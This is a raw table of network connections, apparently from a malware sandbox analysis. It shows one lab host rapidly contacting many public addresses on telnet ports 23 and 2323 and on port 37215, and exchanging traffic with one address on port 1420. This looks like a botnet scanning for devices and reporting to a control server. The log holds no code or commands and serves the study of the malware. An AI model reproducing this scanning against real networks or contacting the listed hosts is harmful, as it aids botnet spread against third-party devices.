Nov 3, 2024 15:37:21.248219013 CET	36201	23	192.168.2.14	118.120.195.49
Nov 3, 2024 15:37:21.248245955 CET	36201	23	192.168.2.14	202.78.209.175
Nov 3, 2024 15:37:21.248269081 CET	36201	23	192.168.2.14	8.206.209.211
Nov 3, 2024 15:37:21.248287916 CET	36201	23	192.168.2.14	193.95.44.175
Nov 3, 2024 15:37:21.248316050 CET	36201	23	192.168.2.14	195.30.223.69
Nov 3, 2024 15:37:21.248330116 CET	36201	23	192.168.2.14	95.103.41.117
Nov 3, 2024 15:37:21.248356104 CET	36201	2323	192.168.2.14	180.207.154.198
Nov 3, 2024 15:37:21.248379946 CET	36201	23	192.168.2.14	218.35.129.67
Nov 3, 2024 15:37:21.248394012 CET	36201	23	192.168.2.14	91.215.194.244
Nov 3, 2024 15:37:21.248419046 CET	36201	23	192.168.2.14	1.251.92.178
Nov 3, 2024 15:37:21.248429060 CET	36201	23	192.168.2.14	13.95.134.128
Nov 3, 2024 15:37:21.248445034 CET	36201	23	192.168.2.14	216.214.198.207
Nov 3, 2024 15:37:21.248460054 CET	36201	23	192.168.2.14	171.155.68.56
Nov 3, 2024 15:37:21.248487949 CET	36201	23	192.168.2.14	41.44.171.219
Nov 3, 2024 15:37:21.248493910 CET	36201	23	192.168.2.14	201.58.116.11
Nov 3, 2024 15:37:21.248523951 CET	36201	23	192.168.2.14	125.147.91.185
Nov 3, 2024 15:37:21.248548985 CET	36201	2323	192.168.2.14	145.83.79.45
Nov 3, 2024 15:37:21.248564005 CET	36201	23	192.168.2.14	213.73.32.74
Nov 3, 2024 15:37:21.248589993 CET	36201	23	192.168.2.14	205.245.182.236
Nov 3, 2024 15:37:21.248601913 CET	36201	23	192.168.2.14	96.94.163.115
Nov 3, 2024 15:37:21.248615980 CET	36201	23	192.168.2.14	146.100.198.136
Nov 3, 2024 15:37:21.248629093 CET	36201	23	192.168.2.14	45.218.115.198
Nov 3, 2024 15:37:21.248646021 CET	36201	23	192.168.2.14	220.164.50.120
Nov 3, 2024 15:37:21.248658895 CET	36201	23	192.168.2.14	71.192.19.165
Nov 3, 2024 15:37:21.248687029 CET	36201	23	192.168.2.14	198.208.146.190
Nov 3, 2024 15:37:21.248708963 CET	36201	23	192.168.2.14	1.180.207.224
Nov 3, 2024 15:37:21.248727083 CET	36201	2323	192.168.2.14	140.244.228.54
Nov 3, 2024 15:37:21.248749018 CET	36201	23	192.168.2.14	109.117.171.100
Nov 3, 2024 15:37:21.248764038 CET	36201	23	192.168.2.14	141.96.52.75
Nov 3, 2024 15:37:21.248788118 CET	36201	23	192.168.2.14	87.66.62.212
Nov 3, 2024 15:37:21.248804092 CET	36201	23	192.168.2.14	169.51.160.179
Nov 3, 2024 15:37:21.248822927 CET	36201	23	192.168.2.14	208.164.78.33
Nov 3, 2024 15:37:21.248852015 CET	36201	23	192.168.2.14	95.58.100.14
Nov 3, 2024 15:37:21.248876095 CET	36201	23	192.168.2.14	24.103.255.127
Nov 3, 2024 15:37:21.248888969 CET	36201	23	192.168.2.14	31.180.74.39
Nov 3, 2024 15:37:21.248914957 CET	36201	23	192.168.2.14	18.127.121.112
Nov 3, 2024 15:37:21.248928070 CET	36201	2323	192.168.2.14	146.0.70.239
Nov 3, 2024 15:37:21.248950958 CET	36201	23	192.168.2.14	199.119.89.88
Nov 3, 2024 15:37:21.248979092 CET	36201	23	192.168.2.14	102.254.3.55
Nov 3, 2024 15:37:21.248986959 CET	36201	23	192.168.2.14	123.181.197.95
Nov 3, 2024 15:37:21.249017000 CET	36201	23	192.168.2.14	12.20.17.110
Nov 3, 2024 15:37:21.249039888 CET	36201	23	192.168.2.14	201.161.219.88
Nov 3, 2024 15:37:21.249058962 CET	36201	23	192.168.2.14	207.7.181.166
Nov 3, 2024 15:37:21.249083042 CET	36201	23	192.168.2.14	178.100.26.1
Nov 3, 2024 15:37:21.249090910 CET	36201	23	192.168.2.14	58.252.19.117
Nov 3, 2024 15:37:21.249119043 CET	36201	23	192.168.2.14	98.54.10.102
Nov 3, 2024 15:37:21.249150991 CET	36201	2323	192.168.2.14	200.131.142.223
Nov 3, 2024 15:37:21.249190092 CET	36201	23	192.168.2.14	76.203.232.7
Nov 3, 2024 15:37:21.249209881 CET	36201	23	192.168.2.14	82.114.11.181
Nov 3, 2024 15:37:21.249228954 CET	36201	23	192.168.2.14	96.13.54.133
Nov 3, 2024 15:37:21.249253988 CET	36201	23	192.168.2.14	37.206.187.175
Nov 3, 2024 15:37:21.249264956 CET	36201	23	192.168.2.14	69.60.193.250
Nov 3, 2024 15:37:21.249294996 CET	36201	23	192.168.2.14	104.83.67.226
Nov 3, 2024 15:37:21.249311924 CET	36201	23	192.168.2.14	36.153.27.23
Nov 3, 2024 15:37:21.249339104 CET	36201	23	192.168.2.14	94.3.253.191
Nov 3, 2024 15:37:21.249361038 CET	36201	23	192.168.2.14	193.241.1.205
Nov 3, 2024 15:37:21.249361038 CET	36201	2323	192.168.2.14	41.179.205.241
Nov 3, 2024 15:37:21.249392033 CET	36201	23	192.168.2.14	172.201.19.207
Nov 3, 2024 15:37:21.249407053 CET	36201	23	192.168.2.14	207.6.238.120
Nov 3, 2024 15:37:21.249422073 CET	36201	23	192.168.2.14	212.53.141.28
Nov 3, 2024 15:37:21.249440908 CET	36201	23	192.168.2.14	170.126.6.197
Nov 3, 2024 15:37:21.249459982 CET	36201	23	192.168.2.14	57.217.210.235
Nov 3, 2024 15:37:21.249478102 CET	36201	23	192.168.2.14	161.25.119.102
Nov 3, 2024 15:37:21.249499083 CET	36201	23	192.168.2.14	166.89.205.166
Nov 3, 2024 15:37:21.249522924 CET	36201	23	192.168.2.14	107.191.108.126
Nov 3, 2024 15:37:21.249547005 CET	36201	23	192.168.2.14	145.98.35.211
Nov 3, 2024 15:37:21.249586105 CET	36201	23	192.168.2.14	183.141.222.31
Nov 3, 2024 15:37:21.249587059 CET	36201	2323	192.168.2.14	5.210.57.57
Nov 3, 2024 15:37:21.249598980 CET	36201	23	192.168.2.14	205.206.197.222
Nov 3, 2024 15:37:21.249608040 CET	36201	23	192.168.2.14	210.125.30.219
Nov 3, 2024 15:37:21.249624968 CET	36201	23	192.168.2.14	17.129.119.69
Nov 3, 2024 15:37:21.249650002 CET	36201	23	192.168.2.14	43.99.124.84
Nov 3, 2024 15:37:21.249674082 CET	36201	23	192.168.2.14	24.79.89.109
Nov 3, 2024 15:37:21.249689102 CET	36201	23	192.168.2.14	79.146.47.114
Nov 3, 2024 15:37:21.249702930 CET	36201	23	192.168.2.14	177.12.152.53
Nov 3, 2024 15:37:21.249711990 CET	36201	23	192.168.2.14	24.75.91.169
Nov 3, 2024 15:37:21.249730110 CET	36201	2323	192.168.2.14	78.143.244.61
Nov 3, 2024 15:37:21.249737978 CET	36201	23	192.168.2.14	190.104.154.19
Nov 3, 2024 15:37:21.249756098 CET	36201	23	192.168.2.14	171.125.35.79
Nov 3, 2024 15:37:21.249764919 CET	36201	23	192.168.2.14	38.219.128.184
Nov 3, 2024 15:37:21.249783993 CET	36201	23	192.168.2.14	92.74.238.154
Nov 3, 2024 15:37:21.249809027 CET	36201	23	192.168.2.14	76.28.85.203
Nov 3, 2024 15:37:21.249823093 CET	36201	23	192.168.2.14	218.28.57.195
Nov 3, 2024 15:37:21.249849081 CET	36201	23	192.168.2.14	105.176.121.248
Nov 3, 2024 15:37:21.249875069 CET	36201	23	192.168.2.14	193.9.143.204
Nov 3, 2024 15:37:21.249881983 CET	36201	23	192.168.2.14	108.176.155.103
Nov 3, 2024 15:37:21.249898911 CET	36201	2323	192.168.2.14	155.190.180.192
Nov 3, 2024 15:37:21.249924898 CET	36201	23	192.168.2.14	111.249.252.96
Nov 3, 2024 15:37:21.249943018 CET	36201	23	192.168.2.14	179.142.103.61
Nov 3, 2024 15:37:21.249969959 CET	36201	23	192.168.2.14	157.214.89.113
Nov 3, 2024 15:37:21.249983072 CET	36201	23	192.168.2.14	81.102.220.6
Nov 3, 2024 15:37:21.250009060 CET	36201	23	192.168.2.14	209.42.165.186
Nov 3, 2024 15:37:21.250025034 CET	36201	23	192.168.2.14	201.84.142.153
Nov 3, 2024 15:37:21.250052929 CET	36201	23	192.168.2.14	172.173.93.251
Nov 3, 2024 15:37:21.250072002 CET	36201	23	192.168.2.14	4.2.88.92
Nov 3, 2024 15:37:21.250092983 CET	36201	23	192.168.2.14	14.41.126.194
Nov 3, 2024 15:37:21.250112057 CET	36201	2323	192.168.2.14	204.6.85.239
Nov 3, 2024 15:37:21.250137091 CET	36201	23	192.168.2.14	99.201.91.175
Nov 3, 2024 15:37:21.250159979 CET	36201	23	192.168.2.14	104.160.53.169
Nov 3, 2024 15:37:21.250174999 CET	36201	23	192.168.2.14	162.101.248.135
Nov 3, 2024 15:37:21.250200987 CET	36201	23	192.168.2.14	60.156.157.159
Nov 3, 2024 15:37:21.250215054 CET	36201	23	192.168.2.14	124.42.109.13
Nov 3, 2024 15:37:21.250224113 CET	36201	23	192.168.2.14	185.93.141.171
Nov 3, 2024 15:37:21.250241995 CET	36201	23	192.168.2.14	114.0.60.160
Nov 3, 2024 15:37:21.250256062 CET	36201	23	192.168.2.14	78.13.73.74
Nov 3, 2024 15:37:21.250269890 CET	36201	23	192.168.2.14	173.68.93.132
Nov 3, 2024 15:37:21.250283957 CET	36201	2323	192.168.2.14	117.215.234.57
Nov 3, 2024 15:37:21.250300884 CET	36201	23	192.168.2.14	163.100.142.166
Nov 3, 2024 15:37:21.250322104 CET	36201	23	192.168.2.14	27.138.109.174
Nov 3, 2024 15:37:21.250345945 CET	36201	23	192.168.2.14	111.44.203.114
Nov 3, 2024 15:37:21.250370026 CET	36201	23	192.168.2.14	94.115.158.207
Nov 3, 2024 15:37:21.250384092 CET	36201	23	192.168.2.14	101.229.134.254
Nov 3, 2024 15:37:21.250405073 CET	36201	23	192.168.2.14	32.126.107.86
Nov 3, 2024 15:37:21.250433922 CET	36201	23	192.168.2.14	60.243.240.107
Nov 3, 2024 15:37:21.250447035 CET	36201	23	192.168.2.14	169.135.45.129
Nov 3, 2024 15:37:21.250461102 CET	36201	23	192.168.2.14	44.16.73.152
Nov 3, 2024 15:37:21.252334118 CET	2323	36201	175.237.228.148	192.168.2.14
Nov 3, 2024 15:37:21.252350092 CET	23	36201	173.195.242.240	192.168.2.14
Nov 3, 2024 15:37:21.252360106 CET	23	36201	180.73.165.231	192.168.2.14
Nov 3, 2024 15:37:21.252371073 CET	23	36201	221.87.70.117	192.168.2.14
Nov 3, 2024 15:37:21.252381086 CET	23	36201	133.210.131.125	192.168.2.14
Nov 3, 2024 15:37:21.252392054 CET	23	36201	190.45.90.157	192.168.2.14
Nov 3, 2024 15:37:21.252393007 CET	36201	2323	192.168.2.14	175.237.228.148
Nov 3, 2024 15:37:21.252394915 CET	36201	23	192.168.2.14	173.195.242.240
Nov 3, 2024 15:37:21.252404928 CET	36201	23	192.168.2.14	221.87.70.117
Nov 3, 2024 15:37:21.252413034 CET	23	36201	119.246.89.188	192.168.2.14
Nov 3, 2024 15:37:21.252424002 CET	23	36201	167.203.18.46	192.168.2.14
Nov 3, 2024 15:37:21.252425909 CET	36201	23	192.168.2.14	180.73.165.231
Nov 3, 2024 15:37:21.252434969 CET	23	36201	70.70.56.193	192.168.2.14
Nov 3, 2024 15:37:21.252441883 CET	36201	23	192.168.2.14	133.210.131.125
Nov 3, 2024 15:37:21.252446890 CET	23	36201	96.137.194.156	192.168.2.14
Nov 3, 2024 15:37:21.252456903 CET	36201	23	192.168.2.14	190.45.90.157
Nov 3, 2024 15:37:21.252459049 CET	2323	36201	177.76.89.196	192.168.2.14
Nov 3, 2024 15:37:21.252466917 CET	23	36201	183.178.213.12	192.168.2.14
Nov 3, 2024 15:37:21.252471924 CET	23	36201	169.32.168.206	192.168.2.14
Nov 3, 2024 15:37:21.252475023 CET	36201	23	192.168.2.14	119.246.89.188
Nov 3, 2024 15:37:21.252476931 CET	23	36201	81.28.66.35	192.168.2.14
Nov 3, 2024 15:37:21.252489090 CET	23	36201	83.232.229.148	192.168.2.14
Nov 3, 2024 15:37:21.252490044 CET	36201	23	192.168.2.14	167.203.18.46
Nov 3, 2024 15:37:21.252499104 CET	23	36201	169.223.120.63	192.168.2.14
Nov 3, 2024 15:37:21.252507925 CET	36201	23	192.168.2.14	96.137.194.156
Nov 3, 2024 15:37:21.252507925 CET	23	36201	76.194.246.166	192.168.2.14
Nov 3, 2024 15:37:21.252509117 CET	36201	23	192.168.2.14	70.70.56.193
Nov 3, 2024 15:37:21.252509117 CET	36201	2323	192.168.2.14	177.76.89.196
Nov 3, 2024 15:37:21.252516985 CET	36201	23	192.168.2.14	183.178.213.12
Nov 3, 2024 15:37:21.252523899 CET	36201	23	192.168.2.14	169.32.168.206
Nov 3, 2024 15:37:21.252537966 CET	36201	23	192.168.2.14	83.232.229.148
Nov 3, 2024 15:37:21.252551079 CET	36201	23	192.168.2.14	81.28.66.35
Nov 3, 2024 15:37:21.252552986 CET	36201	23	192.168.2.14	169.223.120.63
Nov 3, 2024 15:37:21.252553940 CET	36201	23	192.168.2.14	76.194.246.166
Nov 3, 2024 15:37:21.254337072 CET	23	56448	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:21.254407883 CET	23	59638	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:21.254457951 CET	56448	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:21.254506111 CET	56550	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:21.254529953 CET	23	33602	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:21.254550934 CET	49568	2323	192.168.2.14	175.237.228.148
Nov 3, 2024 15:37:21.254590034 CET	37922	23	192.168.2.14	173.195.242.240
Nov 3, 2024 15:37:21.254612923 CET	58012	23	192.168.2.14	221.87.70.117
Nov 3, 2024 15:37:21.254650116 CET	53808	23	192.168.2.14	180.73.165.231
Nov 3, 2024 15:37:21.254667044 CET	23	40644	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:21.254673958 CET	34700	23	192.168.2.14	133.210.131.125
Nov 3, 2024 15:37:21.254705906 CET	33220	23	192.168.2.14	190.45.90.157
Nov 3, 2024 15:37:21.254745960 CET	36454	23	192.168.2.14	119.246.89.188
Nov 3, 2024 15:37:21.254753113 CET	23	53746	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:21.254767895 CET	58500	23	192.168.2.14	167.203.18.46
Nov 3, 2024 15:37:21.254791975 CET	46570	23	192.168.2.14	70.70.56.193
Nov 3, 2024 15:37:21.254825115 CET	40604	23	192.168.2.14	96.137.194.156
Nov 3, 2024 15:37:21.254844904 CET	45842	2323	192.168.2.14	177.76.89.196
Nov 3, 2024 15:37:21.254883051 CET	42048	23	192.168.2.14	183.178.213.12
Nov 3, 2024 15:37:21.254915953 CET	23	43198	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:21.254920006 CET	38722	23	192.168.2.14	169.32.168.206
Nov 3, 2024 15:37:21.255014896 CET	23	50302	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:21.255017042 CET	59638	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:21.255057096 CET	59778	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:21.255083084 CET	23	37650	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:21.255085945 CET	43198	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:21.255108118 CET	43338	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:21.255131960 CET	33602	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:21.255156040 CET	23	35236	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:21.255162001 CET	33742	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:21.255171061 CET	53746	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:21.255213976 CET	23	52622	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:21.255217075 CET	53898	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:21.255237103 CET	40644	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:21.255264044 CET	40786	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:21.255281925 CET	23	48828	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:21.255347013 CET	2323	44022	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:21.255350113 CET	37650	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:21.255373955 CET	37810	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:21.255387068 CET	23	53370	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:21.255407095 CET	35236	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:21.255451918 CET	35390	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:21.255470037 CET	23	38430	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:21.255475998 CET	50302	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:21.255505085 CET	50464	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:21.255508900 CET	23	57122	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:21.255530119 CET	52622	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:21.255573034 CET	52792	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:21.255588055 CET	23	55470	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:21.255625963 CET	23	56486	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:21.255676985 CET	23	50416	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:21.255683899 CET	48828	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:21.255716085 CET	48990	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:21.255733967 CET	44022	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:21.255752087 CET	23	41514	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:21.255772114 CET	44194	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:21.255803108 CET	23	40162	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:21.255805016 CET	38430	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:21.255842924 CET	23	51666	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:21.255860090 CET	38608	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:21.255878925 CET	53370	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:21.255913973 CET	53552	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:21.255919933 CET	2323	51450	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:21.255929947 CET	57122	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:21.255959034 CET	57310	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:21.255965948 CET	55470	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:21.255971909 CET	23	41844	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:21.255990028 CET	55662	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:21.256040096 CET	23	49160	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:21.256052971 CET	56486	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:21.256066084 CET	56676	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:21.256072044 CET	41514	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:21.256093025 CET	41712	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:21.256093025 CET	50416	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:21.256119013 CET	23	38510	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:21.256120920 CET	50618	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:21.256123066 CET	51666	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:21.256140947 CET	51876	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:21.256146908 CET	51450	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:21.256174088 CET	51658	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:21.256174088 CET	40374	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:21.256175995 CET	40162	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:21.256182909 CET	23	53526	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:21.256191969 CET	41844	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:21.256201029 CET	42062	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:21.256237984 CET	23	34560	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:21.256266117 CET	49160	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:21.256278038 CET	49382	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:21.256280899 CET	53526	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:21.256294966 CET	23	37204	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:21.256304979 CET	53754	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:21.256305933 CET	38510	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:21.256330967 CET	38738	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:21.256334066 CET	23	44232	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:21.256357908 CET	34560	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:21.256375074 CET	34794	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:21.256382942 CET	37204	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:21.256396055 CET	37444	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:21.256438971 CET	44232	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:21.256442070 CET	44472	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:21.256445885 CET	2323	39094	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:21.256517887 CET	39094	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:21.256529093 CET	39340	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:21.256576061 CET	23	45760	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:21.256644011 CET	45760	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:21.256659985 CET	46010	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:21.256680012 CET	23	52294	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:21.256737947 CET	52294	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:21.256756067 CET	52548	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:21.259335041 CET	23	56448	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:21.259825945 CET	23	59638	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:21.260411024 CET	23	43198	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:21.260421038 CET	23	33602	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:21.260430098 CET	23	53746	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:21.260447025 CET	23	40644	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:21.260457039 CET	23	37650	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:21.260548115 CET	23	35236	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:21.260582924 CET	23	50302	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:21.260592937 CET	23	52622	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:21.260601997 CET	23	48828	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:21.260616064 CET	2323	44022	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:21.260684967 CET	23	38430	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:21.260696888 CET	23	53370	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:21.260727882 CET	23	57122	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:21.260752916 CET	23	55470	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:21.260997057 CET	23	56486	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:21.261008024 CET	23	41514	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:21.261017084 CET	23	50416	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:21.261025906 CET	23	51666	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:21.261034966 CET	2323	51450	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:21.261044979 CET	37215	43074	41.155.208.66	192.168.2.14
Nov 3, 2024 15:37:21.261079073 CET	43074	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:21.261104107 CET	23	40162	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:21.261113882 CET	23	41844	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:21.261122942 CET	23	49160	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:21.261132956 CET	23	53526	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:21.261148930 CET	23	38510	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:21.261219978 CET	23	34560	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:21.261229038 CET	23	37204	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:21.261238098 CET	23	44232	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:21.261313915 CET	2323	39094	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:21.261571884 CET	23	45760	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:21.261581898 CET	23	52294	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:21.273165941 CET	33886	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:21.278004885 CET	23	33886	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:21.278072119 CET	33886	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:21.287154913 CET	37215	59694	41.89.33.112	192.168.2.14
Nov 3, 2024 15:37:21.287260056 CET	59694	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:21.310156107 CET	2323	53818	75.150.181.148	192.168.2.14
Nov 3, 2024 15:37:21.310364008 CET	53818	2323	192.168.2.14	75.150.181.148
Nov 3, 2024 15:37:21.310395956 CET	54738	2323	192.168.2.14	75.150.181.148
Nov 3, 2024 15:37:21.315447092 CET	2323	53818	75.150.181.148	192.168.2.14
Nov 3, 2024 15:37:21.315458059 CET	2323	54738	75.150.181.148	192.168.2.14
Nov 3, 2024 15:37:21.315511942 CET	54738	2323	192.168.2.14	75.150.181.148
Nov 3, 2024 15:37:21.396410942 CET	23	41928	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:21.396675110 CET	41928	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:21.396743059 CET	42024	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:21.401551008 CET	23	41928	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:21.401664019 CET	23	42024	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:21.401736975 CET	42024	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:21.493341923 CET	1420	35366	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:21.493365049 CET	1420	35366	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:21.493436098 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:21.493436098 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:21.493468046 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:21.497198105 CET	42954	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:21.497198105 CET	51126	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:21.497203112 CET	51264	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:21.497210979 CET	60222	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:21.497214079 CET	50734	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:21.497210979 CET	53922	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:21.497210979 CET	54390	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:21.497217894 CET	44912	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:21.497229099 CET	42360	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:21.497231960 CET	52148	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:21.497242928 CET	50340	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:21.497242928 CET	44602	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:21.497251034 CET	45766	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:21.497251034 CET	57008	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:21.497257948 CET	53564	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:21.497267008 CET	39854	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:21.497267962 CET	59738	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:21.497268915 CET	45300	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:21.497268915 CET	45644	37215	192.168.2.14	41.46.249.121
Nov 3, 2024 15:37:21.497270107 CET	58478	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:21.497270107 CET	50906	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:21.497270107 CET	42258	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:21.497271061 CET	34686	23	192.168.2.14	91.217.59.175

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
